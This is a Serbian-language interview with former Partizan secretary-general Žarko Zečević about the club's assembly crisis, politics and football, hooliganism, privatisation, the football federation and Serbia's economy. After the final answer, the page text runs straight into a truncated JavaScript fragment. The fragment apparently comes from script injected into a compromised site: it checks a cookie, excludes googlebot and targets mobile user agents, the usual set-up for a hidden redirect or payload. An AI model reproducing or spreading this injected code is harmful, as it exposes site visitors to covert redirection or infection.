INTERVJU, ZEČEVIĆ: Politika i fudbal

INTERVJU, ZEČEVIĆ: Politika i fudbal

Foto: Nemanja Jovanović


Partizan i Zvezda ne mogu bez politike. Da smo imali privatizaciju, onda bi to bila sasvim druga priča. Ovako je nemoguće da politika ne bude umešana u funkcionisanje ta dva kluba. Za trideset godina koliko sam bio funkcioner u Partizanu, od 1978. godine, onakva bruka na skupštini kluba nije se desila pred očima javnosti. Jeste bilo slično 1989. kad smo smenjivali Jusufija, ali to je tada bilo iza zatvorenih vrata

Žarko Zečević, legenda Partizana, retko istupa u javnosti otkako se povukao sa mesta generalnog sekretara kluba pre skoro devet godina. Već izvesno vreme preokupiran je poslom na mestu savetnika generalnog direktora “Energoprojekta”, ali nikad nije prestao da prati šta se dešava u njegovom klubu i našem sportu uopšte. Zato je njegovo mišljenje i te kako interesantno i značajno po pitanju svih aktuelnih dešavanja.

Nema vas često u medijima otkako ste napustili mesto generalnog sekretara u Partizanu. Čime se bavite i jeste li na bilo koji način aktivni u sportu?

– Što se tiče sportske karijere, to je završena priča. Zato me verovatno nema mnogo u novinama. Pravo da vam kažem, ja i ne volim mnogo da se eksponiram u javnosti jer to što je bilo bilo je, to je lepo sećanje, lepa uspomena ali više se ne treba vraćati na to. A profesionalno radim ovde u “Energoprojektu” kao specijalni savetnik generalnog direktora i bavim se poslovima u zemlji i inostranstvu.

Nekako sportskoj a i široj u javnosti i dalje važite za čoveka koji je vezan za Partizan, na ovaj ili onaj način. Mnogi misle da ste i dalje u klubu, da se vaša reč sluša. Kako to komentarišete?

– Ove godine slavim 50 godina u Partizanu. To nije mali vremenski period i onda, s obzirom na to da sam i kao igrač i kao profesionalac ostavio neki trag, barem mislim da sam ostavio neki trag, verovatno zbog te dužine trajanja ljudi vas dugo i spominju.

Ali sigurno pratite dešavanja, posebno u fudbalskom klubu?

– Ja sam član skupštine i aktivno učestvujem kad je skupština u pitanju. S vremena na vreme me pozovu da me pitaju za neki savet i mišljenje. Ali operativno, funkcionalno ili na bilo koji drugi način nisam aktivan u Partizanu.

Kako komentarišete ovo što se dešava poslednjih nekoliko meseci, taj problem u klubu, veliki raskol? To izgleda jako loše, posebno činjenica da su se legende kluba podelile na dve struje. Bjeković s jedne strane i Ćurković na drugoj. Vi ste podržali Ćurkovića.

– O toj situaciji sam već komentarisao, tako da ne bih mnogo ponavljao. Očigledno se tu radi o razlici dve koncepcije koje ja sad ne bih hteo da objašnjavam ali mislim da je ono što se dešavalo na prošloj skupštini Partizana bruka za klub. Za sve vreme koliko sam bio funkcioner u klubu, znači od 1978. godine, za trideset godina koliko sam ja bio u Partizanu takva skupština nije bila održana pred očima javnosti. Bila je jedna slična skupština, koja je bila održana 1989. godine kad je bio smenjen Jusufi, ali je ona bila zatvorenog tipa i da kažem sva bruka koja je mogla tada da bude nije se pojavila u javnosti. Partizan je to uvek znao da drži zatvoreno, barem u tih 30 godina koliko sam ja bio aktivan, da ne ekskaliraju takva dešavanja javno i bilo kakva razmimoilaženja. Normalno je da ima različitih pristupa, da se na različit način gleda budućnost Partizana, ali mislim da je velika greška bila što je to izašlo u javnost i što Partizan nije imao snage da u zatvorenom krugu to reši.

Ko je po vama najviše kriv za te scene koje su se dogodile?

– Ne bih označavao krivce.

Da li vi osećate ličnu odgovornost za to?

– Apsolutno. Svako od nas ko je u Partizanu, ko je učestvovao aktivno u radu Partizana i ko voli Partizan mora na neki način da oseća odgovornost.

Da li su se stekli uslovi za rešenje te krize, nova sednica skupštine je zakazana za 12. septembar, šta mislite da li će se nešto promeniti?

– Ja mislim da vreme leči sve, prema tome mislim da će do tog perioda ljudi sigurno naći dovoljno snage i razuma da dođu do pravog rešenja za Partizan. Mislim da priča mora polako da se smiri i da se ide ka nekom konačnom rešenju.

Koliko je Fudbalski savez pomogao sa sastancima koji su organizovani u prethodnom periodu?

– Mislim da je značajno bilo što se umešao Fudbalski savez Srbije. Slaviša Kokeza kao novi predsednik saveza, a i počasni predsednik Tole Karadžić dali su pun doprinos da se ipak ta situacija na neki način uvede u neku kolotečinu koja ide ka konačnom rešenju.

Kakvi su sada vaši odnosi sa Bjekovićem? Čini se da je prijateljstvo narušeno posle svega.

– Možda je prijateljstvo narušeno, ali znate šta, mi se poznajemo 40 godina. Mogu mišljenja da nam se razlikuju ali ipak imamo neki odnos. Ne možete da poništite period od 40 godina tek tako, a imate pravo da imate različito mišljenje, da se sukobljavate. Nije ni za tih 25-30 godina u fudbalu teklo uvek med i mleko, imali smo različite stavove pa smo dolazili do nekog zajedničkog rešenja. Ja se nadam da će i ovaj put biti pronađeno neko jedinstveno rešenje za Partizan.

Da li to znači da ipak postoji mogućnost da u nekoj budućnosti dođe do zajedničkog jezika i da ponovo sarađujete s Bjekovićem?

– Ne postoji. Ne pada mi na pamet da se u Partizanu na bilo koji način ponovo aktivno angažujem.

Ko je u ovom trenutku kome potrebniji? Partizan vama ili vi Partizanu?

– Mislim da sam ja Partizanu dao sve što sam mogao da dam i meni je Partizan dao sve što je mogao da mi da. Tako da nema tu ko je kome potrebniji, jednostavno uzajamni odnos između Partizana i mene je završen u smislu davanja i odricanja. Mislim da je to jedno delikatno pitanje i da će celog mog života Partizan nešto davati, u smislu rezultata, uspeha, radosti, tuge, a i ja ću verovatno nešto davati Partizanu u smislu saveta, nekog svog iskustva koje imam i tako dalje.

Da li postoji nešto za čim žalite iz vremena provedenog u fudbalskom klubu?

– Žao mi je što nismo odigrali još jednu Ligu šampiona u mom periodu. To je ona čuvena utakmica protiv Petržalke kad smo ispali na penale. To je što se rezultata tiče, a što se tiče nekih drugih stvari mislim da je neostvarena želja, moja lično, novi stadion Partizana. Jer je to bio moj san, kao što smo napravili “Teleoptik”, bili smo blizu da zatvorimo, ne samo blizu nego smo zatvorili celu finansijsku konstrukciju vezanu za stadion, međutim politika nije dozvolila da u tom periodu realizujemo taj projekat do kraja.

Zarko zecevic (12)S Bjekovićem prijateljstvo možda jeste narušeno, ali mi se poznajemo 40 godina. Mogu da nam se razlikuju mišljenja ali ipak imamo neki odnos

Kad kažete politika, koliko politika i država uopšte imaju uticaja na stanje u Zvezdi i Partizanu? I pre u bivšoj zemlji uvek se govorilo Partizan vojni klub, Zvezda policijski. Koliko je to i danas slučaj, kako vi to vidite?

– Po koncepciji koju još uvek imamo u sportu, i Zvezda i Partizan, uticaj je veliki, ne postoji mogućnost da država ne bude umešana u funkcionisanje sporta. Da imate privatizaciju, onda bi to bila sasvim druga priča. Međutim, s obzirom na status koji uživaju svi sportski klubovi u zemlji, a pogotovo Zvezda i Partizan, mislim da je nemoguće da politika ne bude umešana u funkcionisanje ta dva kluba. U proteklom periodu, posebno u staroj Jugoslaviji, pokazalo se da to ima efekta, da je to korisna priča. Pa kako su napravljeni i stadion Partizana i stadion Crvene zvezde i mnogi drugi objekti u bivšoj Jugoslaviji i ovoj našoj Srbiji?! Prema tome, bez politike toga nema.

Između partizanovaca i zvezdaša je uvek bila priča kome država više pomaže. Koliko ima protekcije države, čini se da je nekada više za Zvezdu, a nekada više za Partizan?

– Pa možda u pojedinim periodima.

Da li je to bilo presudno za ostvarivanje rezultata?

– U nekom periodu možda je bio jači uticaj neke strukture u odnosu na drugu ali mislim da to nije bilo od većeg značaja za rezultate koje smo postizali. Mislim da ni danas to nije. Jednostavno je, bio sam sportista i znam da se samo na terenu rešava pitanje. Sve ostale priče koje iza toga stoje mislim da nemaju veze sa stvarnošću. Ako ste bolji na terenu, ne može vas niko sprečiti da budete prvi.

Vi ste devedesetih sa Partizanom uspeli da napravite dominaciju, ali ste napravili i jedan jako uspešan poslovni model. To je klubu donosilo dosta novca i mogao je da funkcioniše. Da li to može da se primeni danas?

– Sad su ti uslovi mnogo složeniji, mnogo teži u ekonomskom smislu, a s druge strane da biste imali jak klub morate imati jaku infrastrukturu. Znači, nema kluba bez jake infrastrukture, a mi smo devedesetih godina u stvari pravili klupsku infrastrukturu. Jer iza bilo kakvog tima, bilo koje vrednosti, mora da stoji jaka infrastruktura. Ako imate to imaćete i jaku ekipu, dobre igrače, dobre rezultate. Ako nemate dobru infrastrukturu, sve ostalo se gasi.

Kao čoveku koji je toliko godina u Partizanu, koliko vam je bio težak onaj problem sa navijačima pre nego što ste otišli iz kluba?

– Nisam otišao iz kluba zbog navijača.

Da, ali to je u tom periodu bilo aktuelno, verovatno vas je pogodilo najviše na ljudskom planu?

– Znate šta, uvek morate da nađete meru. Taj problem navijača sve više eskalira. Ne možete da merite nešto što se dešavalo osamdesetih, devedesetih, dvehiljaditih godina sa sadašnjim vremenom. Ta socijalna struktura se rapidno menja i potpuno druge društvene okolnosti opredeljuju i ponašanje navijača. Normalno je da vam to teško padne, ali s druge strane posle 6, 7 godina je drugačije, danas neki od tih navijača kad me sretnu kažu: “Jao, pogrešili smo”, izvinjavaju se. Tako da dobijete neku moralnu satisfakciju da je ono što ste pravilno i da, eto, dođe vreme da ti isti navijači počnu da se izvinjavaju ili da traže da se vratite, da ne može bez vas i tako dalje. Dok su mene lično vređali nisam mnogo reagovao, međutim kad su počeli da vređaju porodicu, to je ipak nešto što je iznad normalnog ponašanja. Ali na kraju krajeva, kažem sreću me ljudi, i sad su oni sa više godina, pa se izvinjavaju, pa kažu: “Pogrešili smo”, na neki način doživite neku satisfakciju. To znači da smo pravilno radili, da smo se pravilno odnosili prema celoj situaciji, a ko je i šta je i na koji način te navijače gurao u to, to je druga priča.

Pomenuli ste da taj problem s navijačima i huliganima poslednjih godina eskalira. Šta mislite, koliko su krivi klubovi, da li bi klubovi trebalo drugačije da se postave?

– Ja bih navijače razdvojio, podelio. Imate huligane i imate prave navijače. Oni koji su huligani za njih postoji zatvor. Država ako ima volje i snage i politički konsenzus može da reši problem navijača ekspresno, vrlo brzo. Kao što je Margaret Tačer rešila to u Engleskoj, maltene za dve nedelje. Ako ne postoji politička volja i ne postoji koordinacija državnih organa, imaćemo ovakvu situaciju koju imamo. Svaki put kad eskalira neki događaj, kad se desi nešto, ili smrtni slučaj ili neka tuča ili nešto drugo, onda se aktiviraju razni sociolozi, psiholozi, bezbednosne snage i to sve posle tri, četiri dana padne u vodu. Imate takav-kakav zakon koji je ipak primenljiv i ako postoji politička volja da se on primeni, mislim da vrlo brzo može da se reši problem huliganstva, ne navijača nego huliganstva.

Govori se da su te navijačke strukture umešane i u vođenje klubova, da ih je jako teško razdvojiti, čak i oko kupovine i prodaje fudbalera?

– Ja to ne mogu da komentarišem. U moje vreme toga nije bilo, a u sadašnje vreme da li se to dešava, postoje indicije da se dešava. Priča se ali ja ne mogu na osnovu toga šta se priča da komentarišem. Tako da ne znam da li se to dešava ili ne dešava. Ako se dešava, to je tragedija za srpski sport.

Dok ste još bili u Partizanu uveliko se govorilo o novom zakonu o sportu, pa o privatizaciji klubova, a u međuvremenu se ništa nije desilo. Šta mislite na tu temu? Da li bi privatizacija rešila probleme?

– Još 2003. godine zagovarao sam privatizaciju. Moje lično opredeljenje je za privatizaciju u sportu i mislim da je ona moguća. Mislim da postoje načini i rešenja kako to može da se uradi. S obzirom na materijalnu situaciju klubova, svih klubova, ako ima ljudi koji su spremni da uđu u takav jedan neizvestan poduhvat, zašto da ne.

Ispada kao da to neko pomera, odlaže iz nekog razloga?

– Ja ne znam iz kog razloga se odlaže niti bih hteo to da komentarišem, ali mislim da postoje osnova i mogućnost da se izvrši privatizacija i da situacija na sasvim drugi način može da se usmeri. Čak postoji i određena tehnologija rada i koncepcija da Partizan i Zvezda u privatizacionom procesu i sutra kao privatni klubovi mogu da budu profitabilni.

U vreme dolaska Slaviše Kokeze na čelo Fudbalskog saveza Srbije govorilo se i o vašoj eventualnoj kandidaturi. Da li ste zaista imali tu nameru?

– Mislim da se moje ime više pominjalo apropo tog mog da kažem dugog bitisanja u sportu, pogotovo u fudbalu, 20 i kusur godina, tako da je to više bilo možda ideja nekih ljudi. Ja lično nisam bio opredeljen niti bih učestvovao u nečemu gde ne postoji apsolutni konsenzus. Ipak, posle ove svoje cele karijere koju sam imao, glupo bi bilo da ulazim u bilo koju trku, aktivnost, koja bi posle tu moju karijeru osenčila.

Kako gledate na rad Tomislava Karadžića u Fudbalskom savezu?

– Više puta sam izjavio, mogu da ponovim, da je Tole Karadžić najbolji sportski radnik u zadnjih 20 godina u Srbiji bez obzira na sve kritike koje trpi. Da ne kažem da mu treba dići spomenik, ali samo da pomenem onaj sportski centar u Pazovi koji je napravio. Ostavio je stabilnu finansijsku situaciju, učestvovali smo na svetskom prvenstvu, mlađe selekcije su osvojile prvenstvo sveta u njegovom mandatnom periodu. To mislim da dovoljno kazuje.

Ali smo i propustili nekoliko velikih takmičenja u istom periodu?

– Znate šta, mislim da se mi malo precenjujemo kao fudbalska nacija, nismo mi više ona fudbalska nacija stare Jugoslavije. Uostalom, videli ste sadašnje Evropsko prvenstvo, gde je Vels, gde je Island, gde su te zemlje za koje mi mislimo da su niko i ništa a da smo mi iznad njih 20 kopalja. Nije tačno. Svi igraju fudbal, kod nas je fudbal u krizi iz određenih razloga. Toletu Karadžiću ne može da se zameri nijedan neodlazak na svetsko prvenstvo, to možete da zamerite treneru i igračima, a ne Toletu Karadžiću. On je obezbedio sve što je mogao da obezbedi. Kako su mlađe selekcije osvajale prvenstvo Evrope i prvenstvo sveta, znači imale su sve uslove da mogu to da urade. Imali su, da kažem, i igrački kadar koji je to realizovao. Ovde očigledno postoji neka falinka, pogotovo što dolaze ti igrači iz inostranstva koji kad dođu ovde ne ponašaju se profesionalno kao što se ponašaju u svojim klubovima i to je možda jedan od uzroka.

I sa izborima selektora se malo lutalo.

– Pa dobro, i u izboru selektora koga god da stavite nije dobar. Mi Srbi smo, ima nas sedam miliona, mi smo sedam miliona selektora. To je stara fudbalska priča kod nas.

Kad pričamo o FSS ne može da se izbegne i tema regularnosti domaćih takmičenja. Dosta se pričalo o nameštanjima, navijanju za jedan ili drugi klub, sudije su često na tapetu. Kako vi to komentarišete?

– Pa evo, uzmite, pronađite za mojih 23 godine u Partizanu, pronađite jedan tekst da sam ja nekog optužio. Mislim da ima samo jedna utakmica, samo jedan sudija, a to je Šipka iz Banjaluke koji je sudio Partizan-Zvezda kad je Moca Vukotić bio trener ’89. godine. Poništio je čist gol za Partizan, Zvezda dobila, dala gol u poslednjem minutu. To je možda jedina utakmica da sam ja rekao nešto protiv suđenja ili bilo čega. Moje sportsko opredeljenje i kao igrača i kao funkcionera je “pripremi se, budi bolji na terenu i završi priču”. Ako bilo koje indicije postoje da bilo šta sa strane utiče, onda budi dovoljno sposoban da to sprečiš. Ako nisi sposoban da to sprečiš, onda nemoj da kukaš i nemoj da se žališ. Svi oni koji su u prethodnom periodu svoje poraze i svoje neznanje i svoje neumeće kvalifikovali time što je neko navodno nekom pomogao, povika na sudije, povika na savez. Pa ne igra Tole Karadžić na fudbalskom terenu nego igraju igrači i daju golove ili ne daju golove.

I Zvezda i Partizan su tu imali dosta primedbi poslednjih godina.

– Ja se nisam oglašavao, to nikad nije bio moj princip, rekao sam, ko je veštiji, ko je pametniji, ko bolje pripremi ekipu – taj dobija.

Kako komentarišete dolazak Slaviše Kokeze na čelo saveza?

– On čovek možda nema sportsku biografiju ali bio je u Crvenoj zvezdi, radio je par godina, imam utisak da vlada materijom, da su ovi prvi potezi koje pravi dobri potezi. Ovo što radi sada u savezu radi dobro. Ne bih mogao da mu uputim nikakvu kritiku, nikakvu primedbu i da kažem da je došao kao neko ko ne poznaje tu problematiku, očigledno da poznaje. Vidim poteze koje vuče, kako se ponaša u odnosu na određene strukture u savezu, vidim da to radi kako treba i mislim da je pun entuzijazma i ambicije da nešto učini. Nama takvi ljudi trebaju, koji su spremni da se žrtvuju i odvoje deo svog vremena da nešto urade. Mislim da je sve što je do sad uradio pozitivno.

A ovo što se govori poslednjih dana oko pokretanja regionalne lige s najboljim timovima bivših jugoslovenskih republika, da li mislite da bi to podiglo kvalitet fudbala i da li bi pomoglo stanju?

– Mislim da taj ko to priča ne zna kako funkcioniše UEFA. Znači, ako bi se stvorila jedinstvena liga, ponovo kao što je nekad bila, onda bi u Evropi učestvovale tri ili četiri ekipe. Sad imate šest država i imate 20 i nešto učesnika u evropskim takmičenjima, u kvalifikacijama i svemu ostalom. Kad stvorite jedinstvenu ligu, opet odlaze samo tri ili četiri. Ja ne znam ko bi to od ovih država, kvazidržava bivše Jugoslavije, prihvatio da sad Partizan, Zvezda, Dinamo i Hajduk i možda još samo neko uskoči u priču.

Ali to takmičenje bi bilo mnogo kvalitetnije?

– I to je pitanje. Vidite, u košarci ovi koji zagovaraju ABA ligu zaboravljaju da time uništavaju kvalitet srpske košarke. U periodu kad nije postojala ABA liga imali ste Zdravlje iz Leskovca, Metalac iz Valjeva, Hemofarm iz Vršca, Vojvodinu… Šta sad imate, koju ekipu? Imate jedan niži nivo. U Kragujevac su nekada dolazili Zvezda, Partizan, OKK Beograd, Olimpija… To je za mene bio događaj, mi klinci smo na bazi toga što smo gledali te asove hteli da igramo košarku i da se bavimo košarkom. Sad vi te asove možete da vidite samo na televiziji.

Foto: Nemanja Jovanović

Foto: Nemanja Jovanović

Devedesete godine Beograd je imao 245.000 industrijskih radnika, a danas ih nema ni 13.000. Znači da industrija, po meni,ne postoji

Kada se govori o problemima fudbala u Srbiji često se pominje problem menadžera. Kako komentarišete njihovu ulogu?

– Da ja vama nešto kažem, nije to problem s menadžerima već je sve veći problem u roditeljima. Menadžeri rade svoj posao kako ga rade, ako radite s pravim menadžerima koji su afirmisani, koji imaju koncepciju rada ne možete da pogrešite. Ali roditelji su najveći problem današnjeg sporta, ne samo u fudbalu, nego i u košarci. Ambicije roditelja koje ne možete da savladate, koji ne mogu da shvate da je klub taj koji najviše brine da neko postane igrač jer je to interes kluba. U ovoj sadašnjoj situaciji finansiranja ako pravite dobre igrače moći ćete da ih prodate, ako ih ne pravite nećete moći da ih prodate. Ovi što prodaju decu sa 17 ili 18 godina to nema više nikakve svrhe. Kažite mi koji je od igrača koji je otišao sa 18 godina uspeo u evropskom fudbalu? Ja sad vas pitam, nabrojte mi trojicu, četvoricu, a ja ću vam nabrojati sve igrače koji su propali.

Koliko je imao Mitrović kada je otišao iz Partizana?

– Mitrović se već bio afirmisao, dve godine je igrao kao stabilan centarfor. On je već bio afirmisan. Gde vam je Pantić? Roditelj neće da potpiše ugovor sa Partizanom, neće da produži ugovor, neće da omogući sinu da kroz iskustvo koje će steći posle dve, tri godine igranja naše lige ide da igra u inostranstvo gde hoće. Gde je on?

Kako to sprečiti? Kako roditelji da odbiju mogućnost da unovče decu i reše egzistenciju?

– Vrlo delikatno pitanje. Morao bih da vam dva dana pričam o filozofiji fudbala i onome što sam rekao da bi u privatizaciji klubovi mogli da budu profitabilni. To je mnogo šira tema. Mislim da postoje mehanizmi kako to da se spreči, da se uradi da mogu klubovi da egzistiraju. Ali mora da postoji finansijski izvor koji će tri, četiri godine da trpi gubitak svake sezone, finansijski gubitak, a posle četiri godine da počne da zarađuje pare. Znači, ako Partizan košta godišnje 7 do 10 miliona, znači mora neko da ulaže tri, četiri godine. Pa da kao što je Partizan prošle godine napravio rezultat u Ligi Evrope i zaradio osam miliona. Znači moram da dokrpim kao privatnik milion i po ili dva. A u ovoj sezoni ili nekoj sledećoj kad ne igra nijedan međunarodni kup onda moram da nađem 6, 7 miliona da izvadim iz džepa da platim dok ne dođem u situaciju da sopstvenim snagama, kroz sopstvenu školu, kroz produkciju mladih igrača to dođe. To što Partizan ima “Teleoptik” centar to je blago Partizana, samo još u toj koncepciji da se nešto doradi.

Tako bi Partizan i Zvezda mogli da postanu konkurentni u Evropi, da počnu standardno da igraju Evropu?
– Pravo da vam kažem to već košta, taj savet košta.

Proteklih godina se govorilo o dolasku Arapa u Crvenu zvezdu. Da li vam to zvuči realno?

– Pa šta znam. To vam je već politika i država. Takav neki veći aranžman kao što je “Gasprom” stigao, to vam je država. To vam je aranžman, interesna sfera države da Zvezda ima jednog takvog sponzora kao što je “Gasprom” i svaka čast ljudima koji su to završili. Ali mislim da bi mogao da se napravi isti takav potez i za Partizan, da se nađe neki drugi veliki sponzor koji bi mogao da pokrije Partizan, možda ne u toj meri, ali u nekoj određenoj meri.

U trenutku dolaska “Gasproma” Zvezda je bila u veoma lošem finansijskom položaju, bila je maltene pred gašenjem.

– Znam, ali vi ne finansirate onoga ko se gasi nego onoga ko ima rezultat.

Kako doći do tih jakih sponzora?

– Sponzori su zainteresovani kad imate vrhunske rezultate. Ono što je nivo Srbije to ne može da košta više od 500.000 ili milion evra godišnje. Znači, međunarodni rezultati ako gurate u grupi. Kad bi Partizan imao sezone kao što je prošle godine imao u Ligi Evrope, to je način da nađete adekvatnog sponzora.

Kada ste bili funkcioner u Partizanu odnosi s ljudima iz Zvezde uglavnom su bili korektni, u tom periodu tamo su bili najduže Džajić i Cvetković. Poslednjih godina to se pretvorilo u totalno neprijateljstvo. Koliko su dobri odnosi između Zvezde i Partizana važni za oba kluba i naše društvo u celini?

– Mislim da su društvene prilike koje su se menjale tokom 20-ak godina, ratovi i sve što nam se dešavalo, ekonomska kriza, dosta uticali na promenu tih odnosa. Tako da to rivalstvo nije više ono zdravo sportsko rivalstvo kao u naše vreme. Kao igrač sam se družio sa Zvezdinim igračima i danas se družim, na primer sa Vučinićem, koji mi je bio ljuti protivnik na terenu. Mi smo danas fenomenalni prijatelji i družimo se i viđamo se. Varajić iz Bosne isto. Cvele koji je bio košarkaš u Zvezdi u vreme kad sam ja igrao, mi smo posle imali super korektne odnose.

Jeste li danas na vezi sa Cvetkovićem?

– Čujemo se, kako da ne. Mi smo probali da jedan drugog nadvladamo, tada je bilo zdravo rivalstvo. Pokušavali smo na jedan način da jedan drugog nadmudrimo, ali to je sve bilo u okvirima normalne komunikacije. Ovo sada izlazi iz okvira normalne komunikacije, ali ja više to objašnjavam tim odnosima koji vladaju između političkih partija. Sve što se dešava u društvu odražava se na sport.

Mislite li da su u nekom momentu u Zvezdi i Partizanu bili pogrešni ljudi na čelu tih klubova?

– To ne bih mogao da komentarišem.

Kako komentarišete trenutno stanje u Košarkaškom klubu “Partizan”?

– Pa dobro, znate šta, ne možete vi da vladate večno, osvojite 13-14 titula uzastopce pa morate jednom da malo padnete, to je u sportu normalno. Nijedan klub nije stalno u vrhu, evo Mančester junajted, gde je? A godinama je bio neprikosnoven. Čelzi, gde je? Isto godinama bio neprikosnoven. To vam je jedna normalna sportska linija kojom idete, 14 puta ste prvaci države, morate malo i da budete u krizi. Prvo, materijalna situacija nije dobra. Mislim da se Partizan u košarci u odnosu na početak prošle sezone na kraju dosta konsolidovao i s malo više sreće možda bi čak mogao da napravi iznenađenje. Ako si dogurao da možeš ravnopravno da se nosiš i da budeš prvak, to nešto znači.

A šanse košarkaške reprezentacije u Riju?

– Mislim da je Đorđević napravio jedan jak kolektiv i ako mene pitate, mislim da imamo dobre šanse da napravimo i dobar rezultat. Jedna od medalja. To je odličan rezultat, ne dobar nego izvanredan rezultat.

Pratite li stanje u košarkaškom savezu?

– Ne pratim. Kada ste pedeset godina u sportu, malo se i umorite od sporta. Pratim ja događaje, rezultate i sve to, ali nisam baš entuzijasta da sedim pored TV-a i da non-stop gledam utakmice. Zamori se malo čovek i zasiti.

Kako izgleda to kad u 35. godini čovek postane generalni sekretar kluba kao što je Partizan?

– Kad sam postao generalni sekretar društva imao sam 28 godina, a u fudbalskom klubu sa 35. Tada sam već imao sedam godina iskustva u sportskom društvu i rad sa 25 klubova, tako da mi to nije bilo ništa neobično. Više mi je bilo neobično kad sam sa 28 godina postao generalni sekretar društva, onda sam jedno šest meseci ćutao, gledao šta se događa oko mene, treptao i posle šest meseci počeo da funkcionišem. Tako da ne mogu da kažem da se neko naučen rodio, nego jednostavno sve je to iskustvo, sve je to koliko ste spremni da radite, da se žrtvujete, da aktivno učestvujete u svemu i da kontrolišete situaciju.

Na šta ste posebno ponosni tokom karijere u Partizanu kao generalni sekretar, šta je bilo ono najvažnije, najznačajnije?

– U sportskom društvu mislim da je moj lični veliki doprinos bio kad smo počeli da se bavimo privrednim aktivnostima, kad smo formirali agenciju za marketing preko koje smo počeli da realizujemo određene poslove. A u fudbalu mislim da je jedan od ključnih momenata bio te ’89. godine kad su se sukobile dve koncepcije. Ne mogu da kažem da je koncepcija za koju sam se ja zalagao bila moderna, ali se pokazala. To što smo tad uradili i šta se posle svega toga desilo u Partizanu je pokazalo da je ipak ta struja koja je pobedila i preuzela da vodi klub imala jasnu sliku šta hoće da uradi i jasan cilj.

Nisam baš siguran da ćemo brzo ući u Evropsku uniju, iako se otvaraju ova poglavlja. Pitanje je uopšte kako će Evropska unija izgledati kada mi budemo trebali da budemo primljeni

Izgradnja “Zemunela” je u suštini vaš projekat.

– Znate šta, to je kao što sam vam rekao za Toleta Karadžića i centar u Staroj Pazovi koji je izgradio, on je vodio celu priču. Bilo je tu još ljudi angažovano koji su sigurno dali veliki doprinos, ali on je bio taj koji je sve to organizovao. Tako sam ja praktično sve organizovao vezano za “Zemunelo”. I ono što je bio ključni momenat, ako se sećate “TV binga”, to smo mi radili sa “Lutrijom Vojvodine”, koju sam ja isforsirao. I normalno, moram da budem ponosan na to da je Partizan prva ekipa iz Srbije koja je ušla u Ligu Evrope, Ligu šampiona, i dalje jedina koja je dva puta učestvovala.

Ostao je upamćen vaš potez sa dovođenjem Milka Đurovskog iz Zvezde. Kako je izgledalo to nagovoriti čoveka iz Zvezde, takvu zvezdu tada, da pređe u Partizan?

– Imao je čovek određenih potreba, a mi ispunili te potrebe i on je prešao u Partizan. Ma bilo je tu mnogo toga, kad bih vam sad pričao mogao bih da napišem romane. U mojoj karijeri sam sigurno preko 200 igrača što doveo, što odveo iz Partizana.

Ti prelasci iz Zvezde u Partizan i kontra, to je nešto što je posebno.

– U to vreme bilo je nešto što je bilo mnogo značajno. Da uzmete najboljeg igrača iz Crvene zvezde to je ipak bila, da kažem, umetnost.

Kako vam izgleda tandem Ivica Ilijev i Ivan Tomić sad u Partizanu?

– Ivica Iliev pokazuje veliku energiju zajedno sa Tomićem, mislim da oni kao par dobro deluju. Ivan Tomić se kao sportski direktor dokazao dovođenjem Moreire, Žuke, Klea, Dijare… Mislim da imaju pravilnu orijentaciju i mislim da imaju dobru ambiciju, samo znate kako, sve je to vezano za rezultat! Ako nema rezultata, svi su na žeravici.

Već neko vreme ste u biznisu, manje u sportu. Kako ocenjujete stanje u domaćoj privredi, kakav je ambijent, da li se popravlja? Uspeva li vaš “Energoprojekt” da se izbori na tržištu?

– “Energoprojekt” je po meni jedina velika firma iz Srbije koja je opstala i preživela i devedesete, sankcije i bombardovanje, sve promene i privatizacije i sve što se dešavalo. Jer kada stavite na tas “Geneks”, “Ineks”, “Komgrap”, “Rad”, “Trudbenik”, “Progres”, “Rudnap”… Sve te velike firme koje su egzistirale u bivšoj Jugoslaviji, više nijedna ne postoji. Znači “Energoprojekt” je veštinom ljudi koji rade tamo uspeo da sačuva taj svoj osnovni kostur i svoju osnovnu strukturu i da sada na čelu sa Vladom Milovanovićem kao generalnim direktorom i sa direktorima u ovim zavisnim preduzećima napravi dobar rezultat. Prošle godine je “Energoprojekt” imao prihod od nekih 315 miliona, što je značajno s obzirom na uslove koji su trenutno na tržištu. Mislim da u našoj ekonomiji mora još dosta stvari da se učini, da tu ima dobrih pomaka, da ima dobrih rešenja ali da još puno, puno treba da se učini u restrukturiranju privrede i u određivanju prioriteta, za šta je Srbija sposobna i na šta treba da se osloni. Vi imate podatak koji ću vam reći, da je 1990. godine Beograd imao 245.000 industrijskih radnika, a da ih danas nema ni 13.000. Znači da industrija, po meni, ne postoji. A kada govorite o budžetu i punjenju budžeta i o nacionalnom dohotku, to vam je pokazatelj gde smo sada i šta sve treba uraditi da bi se to ponovo dovelo u red.

Da li se stvari popravljaju, ima li određenih pomaka?

– Dobro, mislim da se u tim infrastrukturnim projektima puno učinilo poslednjih nekoliko godina i da se maksimalno čini da se barem ta infrastruktura dovede u neki red.

Koliko nam tu pomaže približavanje Evropskoj uniji?

– Nisam baš siguran da ćemo mi brzo ući u Evropsku uniju, iako se otvaraju ova poglavlja i pitanje je uopšte kako će Evropska unija izgledati kada mi budemo trebali da budemo primljeni. Sve imam neki utisak da ćemo da se vučemo kao što se Turska vuče do sada. Možda ne toliko, ali mislim da smo pod nekom posebnom lupom i da smo non-stop ucenjivani, što se meni kao čoveku, građaninu Srbije, uopšte ne sviđa.document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 